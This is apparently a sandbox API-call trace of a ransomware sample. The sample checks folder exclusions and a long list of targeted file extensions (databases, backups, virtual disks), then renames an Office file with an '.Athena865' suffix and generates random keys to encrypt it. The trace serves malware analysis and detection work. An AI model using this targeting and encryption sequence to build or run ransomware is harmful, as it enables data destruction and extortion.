[0147.534] lstrcmpiW (lpString1="VISIO.DEV_K_COL.HXK", lpString2="perflogs") returned 1 [0147.534] lstrcmpiW (lpString1="VISIO.DEV_K_COL.HXK", lpString2="MSBuild") returned 1 [0147.534] lstrlenW (lpString="VISIO.DEV_K_COL.HXK") returned 19 [0147.534] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO.DEV_K_COL.HXK" | out: lpString1="VISIO.DEV_K_COL.HXK") returned="VISIO.DEV_K_COL.HXK" [0147.534] lstrlenW (lpString="VISIO.DEV_K_COL.HXK") returned 19 [0147.535] lstrlenW (lpString="Athena865") returned 9 [0147.535] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0147.535] lstrlenW (lpString=".dll") returned 4 [0147.535] lstrcmpiW (lpString1="VISIO.DEV_K_COL.HXK", lpString2=".dll") returned 1 [0147.535] lstrlenW (lpString=".lnk") returned 4 [0147.535] lstrcmpiW (lpString1="VISIO.DEV_K_COL.HXK", lpString2=".lnk") returned 1 [0147.535] lstrlenW (lpString=".ini") returned 4 [0147.535] lstrcmpiW (lpString1="VISIO.DEV_K_COL.HXK", lpString2=".ini") returned 1 [0147.535] lstrlenW (lpString=".sys") returned 4 [0147.535] lstrcmpiW (lpString1="VISIO.DEV_K_COL.HXK", lpString2=".sys") returned 1 [0147.535] lstrlenW (lpString="VISIO.DEV_K_COL.HXK") returned 19 [0147.535] lstrcmpiW (lpString1="HXK", lpString2="bak") returned 1 [0147.535] lstrlenW (lpString="ba_") returned 3 [0147.535] lstrcmpiW (lpString1="HXK", lpString2="ba_") returned 1 [0147.535] lstrlenW (lpString="dbb") returned 3 [0147.535] lstrcmpiW (lpString1="HXK", lpString2="dbb") returned 1 [0147.535] lstrlenW (lpString="vmdk") returned 4 [0147.535] lstrcmpiW (lpString1=".HXK", lpString2="vmdk") returned -1 [0147.535] lstrlenW (lpString="rar") returned 3 [0147.535] lstrcmpiW (lpString1="HXK", lpString2="rar") returned -1 [0147.535] lstrlenW (lpString="zip") returned 3 [0147.535] lstrcmpiW (lpString1="HXK", lpString2="zip") returned -1 [0147.535] lstrlenW (lpString="tgz") returned 3 [0147.535] lstrcmpiW (lpString1="HXK", lpString2="tgz") returned -1 [0147.535] lstrlenW (lpString="vbox") returned 4 [0147.535] lstrcmpiW (lpString1=".HXK", lpString2="vbox") returned -1 [0147.535] lstrlenW (lpString="vdi") returned 3 [0147.536] lstrcmpiW (lpString1="HXK", lpString2="vdi") returned -1 [0147.536] lstrlenW (lpString="vhd") returned 3 [0147.536] lstrcmpiW (lpString1="HXK", lpString2="vhd") returned -1 [0147.536] lstrlenW (lpString="vhdx") returned 4 [0147.536] lstrcmpiW (lpString1=".HXK", lpString2="vhdx") returned -1 [0147.536] lstrlenW (lpString="avhd") returned 4 [0147.536] lstrcmpiW (lpString1=".HXK", lpString2="avhd") returned -1 [0147.536] lstrlenW (lpString="db") returned 2 [0147.536] lstrcmpiW (lpString1="XK", lpString2="db") returned 1 [0147.536] lstrlenW (lpString="db2") returned 3 [0147.536] lstrcmpiW (lpString1="HXK", lpString2="db2") returned 1 [0147.536] lstrlenW (lpString="db3") returned 3 [0147.536] lstrcmpiW (lpString1="HXK", lpString2="db3") returned 1 [0147.536] lstrlenW (lpString="dbf") returned 3 [0147.536] lstrcmpiW (lpString1="HXK", lpString2="dbf") returned 1 [0147.536] lstrlenW (lpString="mdf") returned 3 [0147.536] lstrcmpiW (lpString1="HXK", lpString2="mdf") returned -1 [0147.536] lstrlenW (lpString="mdb") returned 3 [0147.536] lstrcmpiW (lpString1="HXK", lpString2="mdb") returned -1 [0147.536] lstrlenW (lpString="sql") returned 3 [0147.536] lstrcmpiW (lpString1="HXK", lpString2="sql") returned -1 [0147.536] lstrlenW (lpString="sqlite") returned 6 [0147.536] lstrcmpiW (lpString1="OL.HXK", lpString2="sqlite") returned -1 [0147.536] lstrlenW (lpString="sqlite3") returned 7 [0147.536] lstrcmpiW (lpString1="COL.HXK", lpString2="sqlite3") returned -1 [0147.536] lstrlenW (lpString="sqlitedb") returned 8 [0147.536] lstrcmpiW (lpString1="_COL.HXK", lpString2="sqlitedb") returned -1 [0147.536] lstrlenW (lpString="xml") returned 3 [0147.536] lstrcmpiW (lpString1="HXK", lpString2="xml") returned -1 [0147.536] lstrlenW (lpString="$er") returned 3 [0147.537] lstrcmpiW (lpString1="HXK", lpString2="$er") returned 1 [0147.537] lstrlenW (lpString="4dd") returned 3 [0147.537] lstrcmpiW (lpString1="HXK", lpString2="4dd") returned 1 [0147.537] lstrlenW (lpString="4dl") returned 3 [0147.537] lstrcmpiW (lpString1="HXK", lpString2="4dl") returned 1 [0147.537] lstrlenW (lpString="^^^") returned 3 [0147.537] lstrcmpiW (lpString1="HXK", lpString2="^^^") returned 1 [0147.537] lstrlenW (lpString="abs") returned 3 [0147.537] lstrcmpiW (lpString1="HXK", lpString2="abs") returned 1 [0147.537] lstrlenW (lpString="abx") returned 3 [0147.537] lstrcmpiW (lpString1="HXK", lpString2="abx") returned 1 [0147.537] lstrlenW (lpString="accdb") returned 5 [0147.537] lstrcmpiW (lpString1="L.HXK", lpString2="accdb") returned 1 [0147.537] lstrlenW (lpString="accdc") returned 5 [0147.537] lstrcmpiW (lpString1="L.HXK", lpString2="accdc") returned 1 [0147.537] lstrlenW (lpString="accde") returned 5 [0147.537] lstrcmpiW (lpString1="L.HXK", lpString2="accde") returned 1 [0147.537] lstrlenW (lpString="accdr") returned 5 [0147.537] lstrcmpiW (lpString1="L.HXK", lpString2="accdr") returned 1 [0147.537] lstrlenW (lpString="accdt") returned 5 [0147.537] lstrcmpiW (lpString1="L.HXK", lpString2="accdt") returned 1 [0147.537] lstrlenW (lpString="accdw") returned 5 [0147.537] lstrcmpiW (lpString1="L.HXK", lpString2="accdw") returned 1 [0147.537] lstrlenW (lpString="accft") returned 5 [0147.537] lstrcmpiW (lpString1="L.HXK", lpString2="accft") returned 1 [0147.537] lstrlenW (lpString="adb") returned 3 [0147.537] lstrcmpiW (lpString1="HXK", lpString2="adb") returned 1 [0147.537] lstrlenW (lpString="adb") returned 3 [0147.537] lstrcmpiW (lpString1="HXK", lpString2="adb") returned 1 [0147.537] lstrlenW (lpString="ade") returned 3 [0147.538] lstrcmpiW (lpString1="HXK", lpString2="ade") returned 1 [0147.538] lstrlenW (lpString="adf") returned 3 [0147.538] lstrcmpiW (lpString1="HXK", lpString2="adf") returned 1 [0147.538] lstrlenW (lpString="adn") returned 3 [0147.538] lstrcmpiW (lpString1="HXK", lpString2="adn") returned 1 [0147.538] lstrlenW (lpString="adp") returned 3 [0147.538] lstrcmpiW (lpString1="HXK", lpString2="adp") returned 1 [0147.538] lstrlenW (lpString="alf") returned 3 [0147.538] lstrcmpiW (lpString1="HXK", lpString2="alf") returned 1 [0147.538] lstrlenW (lpString="ask") returned 3 [0147.538] lstrcmpiW (lpString1="HXK", lpString2="ask") returned 1 [0147.538] lstrlenW (lpString="btr") returned 3 [0147.538] lstrcmpiW (lpString1="HXK", lpString2="btr") returned 1 [0147.538] lstrlenW (lpString="cat") returned 3 [0147.538] lstrcmpiW (lpString1="HXK", lpString2="cat") returned 1 [0147.538] lstrlenW (lpString="cdb") returned 3 [0147.538] lstrcmpiW (lpString1="HXK", lpString2="cdb") returned 1 [0147.538] lstrlenW (lpString="ckp") returned 3 [0147.538] lstrcmpiW (lpString1="HXK", lpString2="ckp") returned 1 [0147.538] lstrlenW (lpString="cma") returned 3 [0147.538] lstrcmpiW (lpString1="HXK", lpString2="cma") returned 1 [0147.538] lstrlenW (lpString="cpd") returned 3 [0147.538] lstrcmpiW (lpString1="HXK", lpString2="cpd") returned 1 [0147.538] lstrlenW (lpString="dacpac") returned 6 [0147.538] lstrcmpiW (lpString1="OL.HXK", lpString2="dacpac") returned 1 [0147.538] lstrlenW (lpString="dad") returned 3 [0147.538] lstrcmpiW (lpString1="HXK", lpString2="dad") returned 1 [0147.538] lstrlenW (lpString="dadiagrams") returned 10 [0147.538] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="dadiagrams") returned -1 [0147.539] lstrlenW (lpString="daschema") returned 8 [0147.539] lstrcmpiW (lpString1="_COL.HXK", lpString2="daschema") returned -1 [0147.539] lstrlenW (lpString="db-journal") returned 10 [0147.539] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="db-journal") returned -1 [0147.539] lstrlenW (lpString="db-shm") returned 6 [0147.539] lstrcmpiW (lpString1="OL.HXK", lpString2="db-shm") returned 1 [0147.539] lstrlenW (lpString="db-wal") returned 6 [0147.539] lstrcmpiW (lpString1="OL.HXK", lpString2="db-wal") returned 1 [0147.539] lstrlenW (lpString="dbc") returned 3 [0147.539] lstrcmpiW (lpString1="HXK", lpString2="dbc") returned 1 [0147.539] lstrlenW (lpString="dbs") returned 3 [0147.539] lstrcmpiW (lpString1="HXK", lpString2="dbs") returned 1 [0147.539] lstrlenW (lpString="dbt") returned 3 [0147.539] lstrcmpiW (lpString1="HXK", lpString2="dbt") returned 1 [0147.539] lstrlenW (lpString="dbv") returned 3 [0147.539] lstrcmpiW (lpString1="HXK", lpString2="dbv") returned 1 [0147.539] lstrlenW (lpString="dbx") returned 3 [0147.539] lstrcmpiW (lpString1="HXK", lpString2="dbx") returned 1 [0147.539] lstrlenW (lpString="dcb") returned 3 [0147.539] lstrcmpiW (lpString1="HXK", lpString2="dcb") returned 1 [0147.539] lstrlenW (lpString="dct") returned 3 [0147.539] lstrcmpiW (lpString1="HXK", lpString2="dct") returned 1 [0147.539] lstrlenW (lpString="dcx") returned 3 [0147.539] lstrcmpiW (lpString1="HXK", lpString2="dcx") returned 1 [0147.539] lstrlenW (lpString="ddl") returned 3 [0147.539] lstrcmpiW (lpString1="HXK", lpString2="ddl") returned 1 [0147.539] lstrlenW (lpString="dlis") returned 4 [0147.539] lstrcmpiW (lpString1=".HXK", lpString2="dlis") returned -1 [0147.540] lstrlenW (lpString="dp1") returned 3 [0147.540] lstrcmpiW (lpString1="HXK", lpString2="dp1") returned 1 [0147.540] lstrlenW (lpString="dqy") returned 3 [0147.540] lstrcmpiW (lpString1="HXK", lpString2="dqy") returned 1 [0147.540] lstrlenW (lpString="dsk") returned 3 [0147.540] lstrcmpiW (lpString1="HXK", lpString2="dsk") returned 1 [0147.540] lstrlenW (lpString="dsn") returned 3 [0147.540] lstrcmpiW (lpString1="HXK", lpString2="dsn") returned 1 [0147.540] lstrlenW (lpString="dtsx") returned 4 [0147.540] lstrcmpiW (lpString1=".HXK", lpString2="dtsx") returned -1 [0147.540] lstrlenW (lpString="dxl") returned 3 [0147.540] lstrcmpiW (lpString1="HXK", lpString2="dxl") returned 1 [0147.540] lstrlenW (lpString="eco") returned 3 [0147.540] lstrcmpiW (lpString1="HXK", lpString2="eco") returned 1 [0147.540] lstrlenW (lpString="ecx") returned 3 [0147.540] lstrcmpiW (lpString1="HXK", lpString2="ecx") returned 1 [0147.540] lstrlenW (lpString="edb") returned 3 [0147.540] lstrcmpiW (lpString1="HXK", lpString2="edb") returned 1 [0147.540] lstrlenW (lpString="epim") returned 4 [0147.540] lstrcmpiW (lpString1=".HXK", lpString2="epim") returned -1 [0147.540] lstrlenW (lpString="fcd") returned 3 [0147.540] lstrcmpiW (lpString1="HXK", lpString2="fcd") returned 1 [0147.540] lstrlenW (lpString="fdb") returned 3 [0147.540] lstrcmpiW (lpString1="HXK", lpString2="fdb") returned 1 [0147.540] lstrlenW (lpString="fic") returned 3 [0147.540] lstrcmpiW (lpString1="HXK", lpString2="fic") returned 1 [0147.540] lstrlenW (lpString="flexolibrary") returned 12 [0147.540] lstrcmpiW (lpString1="EV_K_COL.HXK", lpString2="flexolibrary") returned -1 [0147.540] lstrlenW (lpString="fm5") returned 3 [0147.541] lstrcmpiW (lpString1="HXK", lpString2="fm5") returned 1 [0147.541] lstrlenW (lpString="fmp") returned 3 [0147.541] lstrcmpiW (lpString1="HXK", lpString2="fmp") returned 1 [0147.541] lstrlenW (lpString="fmp12") returned 5 [0147.541] lstrcmpiW (lpString1="L.HXK", lpString2="fmp12") returned 1 [0147.541] lstrlenW (lpString="fmpsl") returned 5 [0147.541] lstrcmpiW (lpString1="L.HXK", lpString2="fmpsl") returned 1 [0147.541] lstrlenW (lpString="fol") returned 3 [0147.541] lstrcmpiW (lpString1="HXK", lpString2="fol") returned 1 [0147.541] lstrlenW (lpString="fp3") returned 3 [0147.541] lstrcmpiW (lpString1="HXK", lpString2="fp3") returned 1 [0147.541] lstrlenW (lpString="fp4") returned 3 [0147.541] lstrcmpiW (lpString1="HXK", lpString2="fp4") returned 1 [0147.541] lstrlenW (lpString="fp5") returned 3 [0147.541] lstrcmpiW (lpString1="HXK", lpString2="fp5") returned 1 [0147.541] lstrlenW (lpString="fp7") returned 3 [0147.541] lstrcmpiW (lpString1="HXK", lpString2="fp7") returned 1 [0147.541] lstrlenW (lpString="fpt") returned 3 [0147.541] lstrcmpiW (lpString1="HXK", lpString2="fpt") returned 1 [0147.541] lstrlenW (lpString="frm") returned 3 [0147.541] lstrcmpiW (lpString1="HXK", lpString2="frm") returned 1 [0147.541] lstrlenW (lpString="gdb") returned 3 [0147.541] lstrcmpiW (lpString1="HXK", lpString2="gdb") returned 1 [0147.541] lstrlenW (lpString="gdb") returned 3 [0147.541] lstrcmpiW (lpString1="HXK", lpString2="gdb") returned 1 [0147.541] lstrlenW (lpString="grdb") returned 4 [0147.541] lstrcmpiW (lpString1=".HXK", lpString2="grdb") returned -1 [0147.541] lstrlenW (lpString="gwi") returned 3 [0147.541] lstrcmpiW (lpString1="HXK", lpString2="gwi") returned 1 [0147.542] lstrlenW (lpString="hdb") returned 3 [0147.542] lstrcmpiW (lpString1="HXK", lpString2="hdb") returned 1 [0147.542] lstrlenW (lpString="his") returned 3 [0147.542] lstrcmpiW (lpString1="HXK", lpString2="his") returned 1 [0147.542] lstrlenW (lpString="ib") returned 2 [0147.542] lstrcmpiW (lpString1="XK", lpString2="ib") returned 1 [0147.542] lstrlenW (lpString="idb") returned 3 [0147.542] lstrcmpiW (lpString1="HXK", lpString2="idb") returned -1 [0147.542] lstrlenW (lpString="ihx") returned 3 [0147.542] lstrcmpiW (lpString1="HXK", lpString2="ihx") returned -1 [0147.542] lstrlenW (lpString="itdb") returned 4 [0147.542] lstrcmpiW (lpString1=".HXK", lpString2="itdb") returned -1 [0147.542] lstrlenW (lpString="itw") returned 3 [0147.542] lstrcmpiW (lpString1="HXK", lpString2="itw") returned -1 [0147.542] lstrlenW (lpString="jet") returned 3 [0147.542] lstrcmpiW (lpString1="HXK", lpString2="jet") returned -1 [0147.542] lstrlenW (lpString="jtx") returned 3 [0147.542] lstrcmpiW (lpString1="HXK", lpString2="jtx") returned -1 [0147.542] lstrlenW (lpString="kdb") returned 3 [0147.542] lstrcmpiW (lpString1="HXK", lpString2="kdb") returned -1 [0147.542] lstrlenW (lpString="kexi") returned 4 [0147.542] lstrcmpiW (lpString1=".HXK", lpString2="kexi") returned -1 [0147.542] lstrlenW (lpString="kexic") returned 5 [0147.542] lstrcmpiW (lpString1="L.HXK", lpString2="kexic") returned 1 [0147.542] lstrlenW (lpString="kexis") returned 5 [0147.542] lstrcmpiW (lpString1="L.HXK", lpString2="kexis") returned 1 [0147.542] lstrlenW (lpString="lgc") returned 3 [0147.543] lstrcmpiW (lpString1="HXK", lpString2="lgc") returned -1 [0147.543] lstrlenW (lpString="lwx") returned 3 [0147.543] lstrcmpiW (lpString1="HXK", lpString2="lwx") returned -1 [0147.543] lstrlenW (lpString="maf") returned 3 [0147.543] lstrcmpiW (lpString1="HXK", lpString2="maf") returned -1 [0147.543] lstrlenW (lpString="maq") returned 3 [0147.543] lstrcmpiW (lpString1="HXK", lpString2="maq") returned -1 [0147.543] lstrlenW (lpString="mar") returned 3 [0147.543] lstrcmpiW (lpString1="HXK", lpString2="mar") returned -1 [0147.543] lstrlenW (lpString="marshal") returned 7 [0147.543] lstrcmpiW (lpString1="COL.HXK", lpString2="marshal") returned -1 [0147.543] lstrlenW (lpString="mas") returned 3 [0147.543] lstrcmpiW (lpString1="HXK", lpString2="mas") returned -1 [0147.543] lstrlenW (lpString="mav") returned 3 [0147.543] lstrcmpiW (lpString1="HXK", lpString2="mav") returned -1 [0147.543] lstrlenW (lpString="maw") returned 3 [0147.543] lstrcmpiW (lpString1="HXK", lpString2="maw") returned -1 [0147.543] lstrlenW (lpString="mdbhtml") returned 7 [0147.543] lstrcmpiW (lpString1="COL.HXK", lpString2="mdbhtml") returned -1 [0147.543] lstrlenW (lpString="mdn") returned 3 [0147.543] lstrcmpiW (lpString1="HXK", lpString2="mdn") returned -1 [0147.543] lstrlenW (lpString="mdt") returned 3 [0147.543] lstrcmpiW (lpString1="HXK", lpString2="mdt") returned -1 [0147.543] lstrlenW (lpString="mfd") returned 3 [0147.543] lstrcmpiW (lpString1="HXK", lpString2="mfd") returned -1 [0147.543] lstrlenW (lpString="mpd") returned 3 [0147.543] lstrcmpiW (lpString1="HXK", lpString2="mpd") returned -1 [0147.543] lstrlenW (lpString="mrg") returned 3 [0147.544] lstrcmpiW (lpString1="HXK", lpString2="mrg") returned -1 [0147.544] lstrlenW (lpString="mud") returned 3 [0147.544] lstrcmpiW (lpString1="HXK", lpString2="mud") returned -1 [0147.544] lstrlenW (lpString="mwb") returned 3 [0147.544] lstrcmpiW (lpString1="HXK", lpString2="mwb") returned -1 [0147.544] lstrlenW (lpString="myd") returned 3 [0147.544] lstrcmpiW (lpString1="HXK", lpString2="myd") returned -1 [0147.544] lstrlenW (lpString="ndf") returned 3 [0147.544] lstrcmpiW (lpString1="HXK", lpString2="ndf") returned -1 [0147.544] lstrlenW (lpString="nnt") returned 3 [0147.544] lstrcmpiW (lpString1="HXK", lpString2="nnt") returned -1 [0147.544] lstrlenW (lpString="nrmlib") returned 6 [0147.544] lstrcmpiW (lpString1="OL.HXK", lpString2="nrmlib") returned 1 [0147.544] lstrlenW (lpString="ns2") returned 3 [0147.544] lstrcmpiW (lpString1="HXK", lpString2="ns2") returned -1 [0147.544] lstrlenW (lpString="ns3") returned 3 [0147.544] lstrcmpiW (lpString1="HXK", lpString2="ns3") returned -1 [0147.544] lstrlenW (lpString="ns4") returned 3 [0147.544] lstrcmpiW (lpString1="HXK", lpString2="ns4") returned -1 [0147.544] lstrlenW (lpString="nsf") returned 3 [0147.544] lstrcmpiW (lpString1="HXK", lpString2="nsf") returned -1 [0147.544] lstrlenW (lpString="nv") returned 2 [0147.544] lstrcmpiW (lpString1="XK", lpString2="nv") returned 1 [0147.544] lstrlenW (lpString="nv2") returned 3 [0147.544] lstrcmpiW (lpString1="HXK", lpString2="nv2") returned -1 [0147.544] lstrlenW (lpString="nwdb") returned 4 [0147.544] lstrcmpiW (lpString1=".HXK", lpString2="nwdb") returned -1 [0147.544] lstrlenW (lpString="nyf") returned 3 [0147.544] lstrcmpiW (lpString1="HXK", lpString2="nyf") returned -1 [0147.545] lstrlenW (lpString="odb") returned 3 [0147.545] lstrcmpiW (lpString1="HXK", lpString2="odb") returned -1 [0147.545] lstrlenW (lpString="odb") returned 3 [0147.545] lstrcmpiW (lpString1="HXK", lpString2="odb") returned -1 [0147.545] lstrlenW (lpString="oqy") returned 3 [0147.545] lstrcmpiW (lpString1="HXK", lpString2="oqy") returned -1 [0147.545] lstrlenW (lpString="ora") returned 3 [0147.545] lstrcmpiW (lpString1="HXK", lpString2="ora") returned -1 [0147.545] lstrlenW (lpString="orx") returned 3 [0147.545] lstrcmpiW (lpString1="HXK", lpString2="orx") returned -1 [0147.545] lstrlenW (lpString="owc") returned 3 [0147.545] lstrcmpiW (lpString1="HXK", lpString2="owc") returned -1 [0147.545] lstrlenW (lpString="p96") returned 3 [0147.545] lstrcmpiW (lpString1="HXK", lpString2="p96") returned -1 [0147.545] lstrlenW (lpString="p97") returned 3 [0147.545] lstrcmpiW (lpString1="HXK", lpString2="p97") returned -1 [0147.545] lstrlenW (lpString="pan") returned 3 [0147.545] lstrcmpiW (lpString1="HXK", lpString2="pan") returned -1 [0147.545] lstrlenW (lpString="pdb") returned 3 [0147.545] lstrcmpiW (lpString1="HXK", lpString2="pdb") returned -1 [0147.545] lstrlenW (lpString="pdm") returned 3 [0147.545] lstrcmpiW (lpString1="HXK", lpString2="pdm") returned -1 [0147.545] lstrlenW (lpString="pnz") returned 3 [0147.545] lstrcmpiW (lpString1="HXK", lpString2="pnz") returned -1 [0147.545] lstrlenW (lpString="qry") returned 3 [0147.545] lstrcmpiW (lpString1="HXK", lpString2="qry") returned -1 [0147.545] lstrlenW (lpString="qvd") returned 3 [0147.545] lstrcmpiW (lpString1="HXK", lpString2="qvd") returned -1 [0147.545] lstrlenW (lpString="rbf") returned 3 [0147.545] lstrcmpiW (lpString1="HXK", lpString2="rbf") returned -1 [0147.546] lstrlenW (lpString="rctd") returned 4 [0147.546] lstrcmpiW (lpString1=".HXK", lpString2="rctd") returned -1 [0147.546] lstrlenW (lpString="rod") returned 3 [0147.546] lstrcmpiW (lpString1="HXK", lpString2="rod") returned -1 [0147.546] lstrlenW (lpString="rodx") returned 4 [0147.546] lstrcmpiW (lpString1=".HXK", lpString2="rodx") returned -1 [0147.546] lstrlenW (lpString="rpd") returned 3 [0147.546] lstrcmpiW (lpString1="HXK", lpString2="rpd") returned -1 [0147.546] lstrlenW (lpString="rsd") returned 3 [0147.546] lstrcmpiW (lpString1="HXK", lpString2="rsd") returned -1 [0147.546] lstrlenW (lpString="sas7bdat") returned 8 [0147.546] lstrcmpiW (lpString1="_COL.HXK", lpString2="sas7bdat") returned -1 [0147.546] lstrlenW (lpString="sbf") returned 3 [0147.546] lstrcmpiW (lpString1="HXK", lpString2="sbf") returned -1 [0147.546] lstrlenW (lpString="scx") returned 3 [0147.546] lstrcmpiW (lpString1="HXK", lpString2="scx") returned -1 [0147.546] lstrlenW (lpString="sdb") returned 3 [0147.546] lstrcmpiW (lpString1="HXK", lpString2="sdb") returned -1 [0147.546] lstrlenW (lpString="sdc") returned 3 [0147.546] lstrcmpiW (lpString1="HXK", lpString2="sdc") returned -1 [0147.546] lstrlenW (lpString="sdf") returned 3 [0147.546] lstrcmpiW (lpString1="HXK", lpString2="sdf") returned -1 [0147.546] lstrlenW (lpString="sis") returned 3 [0147.546] lstrcmpiW (lpString1="HXK", lpString2="sis") returned -1 [0147.546] lstrlenW (lpString="spq") returned 3 [0147.546] lstrcmpiW (lpString1="HXK", lpString2="spq") returned -1 [0147.546] lstrlenW (lpString="te") returned 2 [0147.546] lstrcmpiW (lpString1="XK", lpString2="te") returned 1 [0147.546] lstrlenW (lpString="teacher") returned 7 [0147.547] lstrcmpiW (lpString1="COL.HXK", lpString2="teacher") returned -1 [0147.547] lstrlenW (lpString="tmd") returned 3 [0147.547] lstrcmpiW (lpString1="HXK", lpString2="tmd") returned -1 [0147.547] lstrlenW (lpString="tps") returned 3 [0147.547] lstrcmpiW (lpString1="HXK", lpString2="tps") returned -1 [0147.547] lstrlenW (lpString="trc") returned 3 [0147.547] lstrcmpiW (lpString1="HXK", lpString2="trc") returned -1 [0147.547] lstrlenW (lpString="trc") returned 3 [0147.547] lstrcmpiW (lpString1="HXK", lpString2="trc") returned -1 [0147.547] lstrlenW (lpString="trm") returned 3 [0147.547] lstrcmpiW (lpString1="HXK", lpString2="trm") returned -1 [0147.547] lstrlenW (lpString="udb") returned 3 [0147.547] lstrcmpiW (lpString1="HXK", lpString2="udb") returned -1 [0147.547] lstrlenW (lpString="udl") returned 3 [0147.547] lstrcmpiW (lpString1="HXK", lpString2="udl") returned -1 [0147.547] lstrlenW (lpString="usr") returned 3 [0147.547] lstrcmpiW (lpString1="HXK", lpString2="usr") returned -1 [0147.547] lstrlenW (lpString="v12") returned 3 [0147.547] lstrcmpiW (lpString1="HXK", lpString2="v12") returned -1 [0147.547] lstrlenW (lpString="vis") returned 3 [0147.547] lstrcmpiW (lpString1="HXK", lpString2="vis") returned -1 [0147.547] lstrlenW (lpString="vpd") returned 3 [0147.547] lstrcmpiW (lpString1="HXK", lpString2="vpd") returned -1 [0147.547] lstrlenW (lpString="vvv") returned 3 [0147.547] lstrcmpiW (lpString1="HXK", lpString2="vvv") returned -1 [0147.548] lstrlenW (lpString="wdb") returned 3 [0147.548] lstrcmpiW (lpString1="HXK", lpString2="wdb") returned -1 [0147.548] lstrlenW (lpString="wmdb") returned 4 [0147.548] lstrcmpiW (lpString1=".HXK", lpString2="wmdb") returned -1 [0147.548] lstrlenW (lpString="wrk") returned 3 [0147.548] lstrcmpiW (lpString1="HXK", lpString2="wrk") returned -1 [0147.548] lstrlenW (lpString="xdb") returned 3 [0147.548] lstrcmpiW (lpString1="HXK", lpString2="xdb") returned -1 [0147.548] lstrlenW (lpString="xld") returned 3 [0147.548] lstrcmpiW (lpString1="HXK", lpString2="xld") returned -1 [0147.548] lstrlenW (lpString="xmlff") returned 5 [0147.548] lstrcmpiW (lpString1="L.HXK", lpString2="xmlff") returned -1 [0147.548] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.Athena865") returned 77 [0147.548] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0147.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.550] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0147.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0147.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0147.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0147.550] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.551] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.551] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.551] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x154 [0147.553] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0147.554] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.555] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.555] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0147.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0147.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0147.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0147.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0147.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0147.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0147.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0147.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0147.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0147.556] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0147.556] CloseHandle (hObject=0x154) returned 1 [0147.556] CloseHandle (hObject=0x17c) returned 1 [0147.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0147.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0147.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0147.556] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, 